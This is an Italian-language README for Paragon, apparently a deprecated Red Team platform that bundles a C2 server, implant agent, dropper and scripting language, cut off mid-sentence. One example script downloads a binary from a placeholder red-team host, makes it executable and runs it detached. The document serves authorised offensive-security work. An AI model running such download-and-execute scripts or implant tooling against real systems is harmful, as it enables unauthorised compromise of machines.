kcarretto/paragonPiattaforma di engagement Red Team con l'obiettivo di unificare gli strumenti offensivi dietro una semplice interfaccia utente.
Questo progetto è stato deprecato, fate riferimento al nostro nuovo Realm project, che si basa su molte delle idee che avevamo quando abbiamo creato questo repository.
Paragon è una piattaforma per engagement di Red Team. Mira a unificare strumenti offensivi dietro una semplice interfaccia utente, astraendo gran parte del lavoro di backend per consentire agli operatori di concentrarsi sulla scrittura di implant e dedicare meno tempo a preoccuparsi di database e CSS. Il repository fornisce anche alcuni strumenti offensivi già integrati con Paragon che possono essere utilizzati durante gli engagement.
Questo repository è ancora in fase di sviluppo intenso e non è pronto per l'uso in produzione. Quando sarà considerato stabile, verrà rilasciato un tag V1.0.0. Fino ad allora, l'API potrebbe subire modifiche sostanziali mentre continuiamo a semplificare il nostro design. Si prega di leggere la documentazione per sviluppatori qui sotto se si desidera aiutarci a raggiungere più velocemente questo traguardo.
Un'istanza dimostrativa rapida può essere configurata clonando il repository ed eseguendo docker-compose up. Apri 127.0.0.1:80 nel tuo browser per iniziare!
Le immagini utilizzate sono disponibili su docker-hub e possono essere configurate da un file docker-compose per una distribuzione in produzione.
La maggior parte dei componenti in questo repository si basa su un linguaggio di scripting simile a Python che consente un potente controllo e personalizzazione del loro comportamento. Il linguaggio è una versione modificata di Google's starlark, estesa con funzionalità multipiattaforma per gli operatori. Questo permette anche a strumenti come l'agente e il dropper (discussi di seguito) di eseguire attività senza fare affidamento su binari di sistema (curl, bash, ecc.). Tutte le operazioni vengono eseguite come codice in Golang, quindi è intuitivo aggiungere ulteriori funzionalità all'ambiente di scripting. Ecco un esempio di script:
# Download a file via https, execute it, and don't keep it as a child process.
load("sys", "request")
new_bin = "/tmp/kqwncWECaaV"
request("https://library.redteam.tld", writeToFile=new_bin)
# set new_bin permissions to 0755
chmod(new_bin, ownerRead=True, ownerWrite=True, ownerExec=True, groupRead=True, groupExec=True, worldRead=True, worldExec=True)
exec(new_bin, disown=True)
Fornisce una semplice applicazione web e un'API GraphQL per interfacciarsi con un grafo di conoscenza del Red Team, unificando gli strumenti dietro una fonte di verità centralizzata e astraendo molte noiose preoccupazioni di backend dagli operatori. Integra i tuoi strumenti personalizzati con il Teamserver (usando l'API GraphQL o le sottoscrizioni agli eventi) per risparmiare tempo sul lavoro di backend. Il Teamserver registra tutta l'attività, quindi con tutti i tuoi strumenti unificati in un unico posto, scrivere report post-engagement diventa significativamente più facile.
I seguenti strumenti sono inclusi anch'essi nel repository. Possono essere facilmente estesi per adattarsi a molti casi d'uso multipiattaforma.
Paragon fornisce uno strumento per impacchettare asset (binari, script, ecc.) in un singolo binario che, una volta eseguito, eseguirà il tuo script di distribuzione personalizzato che può scrivere asset sul filesystem, avviare processi, scaricare file, gestire errori e altro. È completamente multipiattaforma e compilato staticamente, garantendo distribuzioni affidabili. Se desideri estenderne la funzionalità, ti basterà estendere il file golang generato prima di compilare.
Un implant che esegue attività e riporta i risultati delle esecuzioni. È configurato per impostazione predefinita per eseguire attività utilizzando il linguaggio di scripting simile a Python di Paragon e per comunicare con un C2 tramite http(s). È scritto in Go e può essere rapidamente modificato per aggiungere nuovi metodi di trasporto (es. DNS), opzioni di esecuzione, logica di failover e altro.
Agisce da intermediario tra l'Agent e il Teamserver. Gestisce i callback degli agent per vari meccanismi di comunicazione e fornisce loro nuovi task dalla coda del teamserver.
Invece di attendere un callback, alcune situazioni potrebbero richiedere una connessione diretta per eseguire rapidamente un'attività e visualizzarne l'output. Il runner realizza ciò sottoscrivendo code di attività e stabilendo una connessione alla macchina di destinazione (es. tramite ssh). Ciò consente a integrazioni simili a shell di utilizzare la stessa interfaccia degli implant e dei C2. Permette anche di condurre la distribuzione iniziale dell'implant attraverso questa interfaccia.
Monitora l'attività di rete target e i servizi visibili. Mappa un grafo della rete dell'engagement e attiva l'automazione sui cambiamenti di stato (es. ssh diventa disponibile).
Impostare la variabile d'ambiente killswitch PG_KS_MachineUUID per il teamserver disabiliterà le ricerche che utilizzano gli UUID delle macchine.
Per garantire una comunicazione chiara su questi sistemi complessi, abbiamo delineato alcuni termini specifici del progetto che verranno utilizzati in tutta la documentazione del progetto.
Qualsiasi software malevolo che verrà eseguito su sistemi compromessi durante l'engagement.
Operazioni desiderate da eseguire su un sistema compromesso specifico. I task forniscono istruzioni di esecuzione agli implant, tuttavia la loro sintassi/struttura può essere completamente specifica per uno strumento.
Un Implant che riceve task dal teamserver, li esegue e riporta i risultati. Un'implementazione predefinita estensibile è inclusa in questo repository, che richiede che i task siano forniti come script scritti utilizzando il DSL simile a Python del progetto.
Richieste che il Teamserver esegua un insieme di operazioni date. Quando si crea un job, le istruzioni vengono salvate ma non eseguite. L'utente può richiedere al Teamserver di eseguire un job zero o più volte mettendolo in coda e fornendo i parametri necessari. I job non possono mai essere aggiornati, ma è possibile creare nuove versioni dei job per evitare copie e incolla eccessivi.
Un caso d'uso comune per un Job è quando l'utente desidera eseguire uno script su alcuni Target. L'utente crea un job, che istruisce il teamserver a creare task con il contenuto fornito, ma lascia le macchine di destinazione desiderate come parametro. Quando il job viene messo in coda, l'utente fornisce un elenco di macchine di destinazione come parametro e il Teamserver creerà un task per ogni macchina.
Quanto segue funge da riferimento iniziale e breve per lo sviluppo di Paragon. Ulteriore documentazione può essere trovata nei godocs del pacchetto o leggendo un po' di codice :) Dopo che avremo finalizzato alcune decisioni di progettazione (ben prima di raggiungere v1), entrerà in vigore un code-freeze fino a quando tutta la documentazione non sarà stata aggiornata e adeguatamente organizzata.
Remote - Containers fornita da Microsoft è necessaria per iniziare.Dopo aver installato i prerequisiti elencati sopra, potrai iniziare in pochissimo tempo. Basta clonare il repository e aprirlo in VSCode. Ti verrà chiesto di aprire il codebase in un container di sviluppo, configurato con tutte le dipendenze del progetto e gli strumenti di sviluppo di cui avrai bisogno. Se questa opzione non dovesse apparire, apri la palette dei comandi ed esegui > Remote-Containers: Open Folder In Container che avvierà il container per te. Se è la prima volta che avvii il container, potrebbe volerci un po' per il download... quindi prenditi un caffè ^_^
Di seguito è riportata una panoramica della struttura del progetto e di dove risiede ogni componente. Se questo dovesse diventare obsoleto, sentiti libero di inviare un segnalazione o, preferibilmente, una PR per sistemarlo. Il codebase è configurato come un monorepository, che ci permette di sfruttare strumenti di sviluppo condivisi, standardizzazione, ecc. evitando complicati conflitti di versione.
| Cartella | Caso d'Uso |
|---|---|
| .devcontainer | Configurazione per l'ambiente di sviluppo containerizzato di VSCode. |
| .github | Configurazione di Github. |
| .stats | Una directory ignorata da git (che potresti avere o meno) per memorizzare l'output del profiling delle performance. |
| ent | Definizioni API relative al grafo utilizzate dal teamserver. |
| graphql | Schema GraphQL e codice correlato generato da ent. |
| cmd | Strumenti eseguibili da riga di comando e servizi. |
| dist | Una directory ignorata da git per memorizzare gli artefatti di build. |
| docker | Dockerfile utilizzati per la distribuzione di esempio. |
| ent | Modelli e schemi del grafo utilizzati dal teamserver (vedi lo strumento entgo di Facebook per maggiori informazioni). |
| pkg | Librerie pubbliche utilizzate dagli strumenti del repository ma anche esposte al mondo. |
| pkg/agent | Un'astrazione per creare facilmente un implant o un trasporto di comunicazione. |
| pkg/c2 | Helper relativi al servizio C2 e definizioni standardizzate dei messaggi. |
| pkg/c2/proto | Specifica Protobuf per definire un formato di serializzazione standardizzato per la comunicazione Agente <-> C2. |
| pkg/drop | Fornisce un metodo semplice utilizzato dai payload dropper compilati. |
| pkg/middleware | Middleware comune per servizi HTTP. |
| pkg/script | Linguaggio di scripting simile a Python per configurazione dinamica, automazione ed exploitation multipiattaforma. |
| pkg/script/stdlib | Librerie standard che espongono funzionalità per ambienti di esecuzione di script. |
| pkg/teamserver | Helper relativi al servizio Teamserver. |
| www | Contiene l'applicazione web principale ospitata dal teamserver. Creata dall'app create-react-app di Facebook. |
| www/src/components | Componenti react riutilizzabili. |
| www/src/config | Configurazione e routing dell'app Web. |
| www/src/views | Contenitori che interrogano i dati dal Teamserver e compongono componenti per il rendering. |
Di seguito è riportata una panoramica della relazione tra i nodi nel grafo di conoscenza del Red Team gestito dal Teamserver.
Priorità di trasporto. Per utilizzare il proprio, è sufficiente implementare l'interfaccia agent.Sender e registrare il proprio trasporto durante l'inizializzazione. Esempi di trasporti esistenti si trovano nelle sottodirectory del pacchetto agent.
Per impostazione predefinita, l'agente si aspetta che i task aderiscano alla sintassi di starlark ed espone una libreria standard per gli script da utilizzare. Per modificare il comportamento dell'esecuzione dei task (ad esempio, solo comandi bash), puoi implementare l'interfaccia agent.Receiver per eseguire i task come desideri.
L'ambiente di scripting può essere personalizzato per il tuo agente, consentendoti di impacchettare facilmente nuove funzionalità per gli script da utilizzare. Vedi script options per sapere come estendere il motore di script dell'agente.
Di seguito è riportato un diagramma di flusso dell'esecuzione generale dell'implant agente.
L'agente è progettato per essere facilmente personalizzato con nuovi meccanismi di trasporto, multiplexando le comunicazioni basate su
